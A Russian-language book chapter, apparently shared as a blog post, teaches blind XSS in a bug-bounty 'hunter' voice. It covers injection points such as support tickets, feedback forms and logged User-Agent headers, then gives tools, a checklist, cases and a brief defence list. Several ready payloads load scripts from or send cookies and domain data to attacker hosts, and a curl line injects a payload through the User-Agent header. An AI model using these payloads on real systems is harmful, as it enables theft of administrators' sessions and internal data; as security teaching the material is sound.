Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. Blind XSS: играем в прятки с бэкенд-админом

Blind XSS — это та разновидность уязвимости, где ты закидываешь payload как крючок в темной воде и ждёшь, когда кто-то из бэкенда, модерации или саппорта случайно зацепится. В отличие от обычного XSS, здесь ты не видишь мгновенного триггера — атака срабатывает далеко от твоих глаз, часто спустя часы, дни, недели. Но когда она взрывается, ты получаешь доступ к тем, кто стоит за кулисами сайта: администраторам, сотрудникам службы поддержки, аналитику, внутренним системам. Это настоящая игра в прятки, где побеждает терпеливый и изобретательный.

Как устроен Blind XSS

В классическом XSS ты внедряешь скрипт в точку, сразу видишь вспышку — alert(1), украденные cookie, взломанную сессию.

• Ты отправил форму или запрос, который сохраняется в базе.

• Запрос прочитает саппорт или админ в своей панели, где браузер отобразит payload.

• Админ открыл тикет или лог — твой скрипт сработал уже в его браузере.

• Ты получаешь обратную связь (например, запрос на твой сервер), хотя у тебя нет прямого доступа к интерфейсу админа.

Это особенно опасно для внутренних систем: багтрекеры, системы тикетов, Help Desk, email-интерфейсы, CRM, панели статистики.

Где ищут Blind XSS

Blind XSS встречается там, где работают с пользовательским вводом вне клиентского интерфейса:

• Тикеты поддержки: сообщение клиента хранится и отрисовывается администратору или саппорту во внутренней системе.

• Feedback формы: обратная связь поступает на корпоративную почту или в Help Desk, где HTML может быть необработан.

• Bug Reports: багрепорты, отзывы, комментарии, которые просматривают модераторы.

• Логи и отчеты: некоторые сервисы записывают User-Agent, Referer, параметры запроса, комментарии в лог, а потом открывают их веб-интерфейсом.

• Внутренние CMS: например, admin-панель магазина, где заказ с описанием пользователя отображается в админке.

Классическая атака

1. Ты находишь форму обратной связи. В поле “Комментарий” вставляешь payload:

<script src="https://your-xss-server.com/steal.js"></script>

2. Payload сохраняется в базе или отправляется на email поддержки.

3. Cаппорт открывает заявку через свою панель, где содержимое вставляется в DOM без фильтрации.

4. JS срабатывает, отправляет данные админа (cookie, LocalStorage, DOM) на твой сервер.

5. В профите: ты видишь попадание на свой сервер — Blind XSS сработал! Теперь можно атаковать внутреннюю систему.

Почему Blind XSS — это особый кайф

• Атака на привилегированных пользователей: если твоё js сработало у админа, ты получаешь вообще всё: доступ к настройкам, системам, внутренним данным.

• Обход фронтовых фильтров: многие защиты работают только для публичной части сайта. Внутри — легаси-HTML, плохо написанный JS, отсутствие фильтрации, костыли десяти летней давности.

• Сложность обнаружения: админ или саппорт могут часами не заметить, что их панель была заражена. Уже после факта похищения куки, они воспринимают баг как “странный глюк”, а не атаку.

• Массовый охват: твой payload может жить в базе месяца, срабатывать при каждом новом просмотре — ты на коне каждый раз, как кто-то листает тикет с твоим комментарем.

Инструменты и автоматизация

Для профессионального охотника Blind XSS — must have:

• XSSHunter: сервис, который автоматом генерирует payload, ловит HTTP-запросы от жертв, показывает инфу о бэкэнде, сессиях, браузере. Его можно интегрировать в свои сканеры — payload’ы сами отправляют отчёты, как только кто-то попался.

• Burp Suite Intruder: для массовой рассылки payload’ов во все поля формы сайта.

• Скрипты автоматизации: можно запустить цикл отправки формы в каждое поле, по всем возможным страницам.

Payload’ы для Blind XSS

• Простой `<script>new Image().src='https://your-xss.com/?c='+document.cookie</script>`

• `<img src=x onerror="fetch('https://your-xss.net/log?d='+document.domain)">`

• Обфусцированные SVG — `<svg/onload=fetch('https://hook.xsshunter.com/?key='+document.cookie)>`

• Polyglot-атаки — чтобы сработать в разных контекстах.

Совет: не забудь про User-Agent, Referer — многие системы логируют их и открывают через веб-панели. Вставь payload туда:

curl -A '<svg/onload=alert(1)>' http://target.site/

Шанс сработать в аналитике или логах реальный!

Как отслеживать успех атаки

Blind XSS — это всегда “охота на обратную связь”. Ты ждёшь, когда кто-то откроет твой payload. Используй уникальные URL:

• Каждый отправленный payload содержит уникальный ключ — так ты отлавливаешь, где именно, какой тикет, какой клиент попался.

• Получаешь запрос на свой xsshunter-сервер — видишь IP, Cookie, LocalStorage, даже скриншот страницы.

Как защищаться

Blind XSS — головная боль для админов:

• Не вставляй пользовательские данные в innerHTML/insertAdjacentHTML/outerHTML без экранирования

• Используй sanitization-библиотеки: DOMPurify, OWASP ESAPI

• Валидация и фильтрация на входе и выходе

• Обновляй легаси-пакет админок, убирай костыли

• Заставь админ-панель использовать CSP, запрети inline-скрипты

• Логируй все подозрительные действия — экстремальная активность форм и логов может быть признаком атаки

Чеклист охотника за Blind XSS

• Отправляй payload во все формы (заявки, тикеты, багрепорты, обратную связь).

• Вставляй payload в нестандартные поля — “фамилия”, “описание”, “телефон”, “метки”.

• Пихай payload в заголовки HTTP через curl и кастомные клиенты.

• Анализируй публичные и внутренние панели сайта — иши места, где чье-то окно может отобразить твой ввод.

• Используй сервисы like XSSHunter для автоматического отслеживания.

Кейсы из жизни

Один из самых эффектных багов: Blind XSS во внутренней панели тикет-системы банка. Клиент вводит имя: `<script src="https://xss.farm/hook.js"></script>`. За сутки тикет просмотрели три разных саппорта — каждый отдал куку и внутреннюю инфу через скрипт. После этого атака распространилась на внутренний чат, а потом на корпоративный Help Desk.

Ещё кейс: Blind XSS через поле “email” формы обратной связи. Вводишь

`"xss@bad.com"><svg/onload=fetch('https://xssme.io/pwn?d='+document.domain)>`

Письмо улетает в поддержку, саппорт открывает email в Outlook с предпросмотром HTML — скрипт срабатывает, извлекает информацию.

Итоги

Blind XSS — это не про скорость, а про терпение, охоту и многомерные атакующие техники. Ты не видишь мгновенного результата — но победа может быть масштабнее, чем при классической атаки. Это подарок для тех, кто умеет ждать, автоматизировать и анализировать. Мощнейший инструмент в bug bounty, настоящий зловред для внутренней инфраструктуры. Будь готов: игра в прятки с бэкэндом открыта.

41 views·5 shares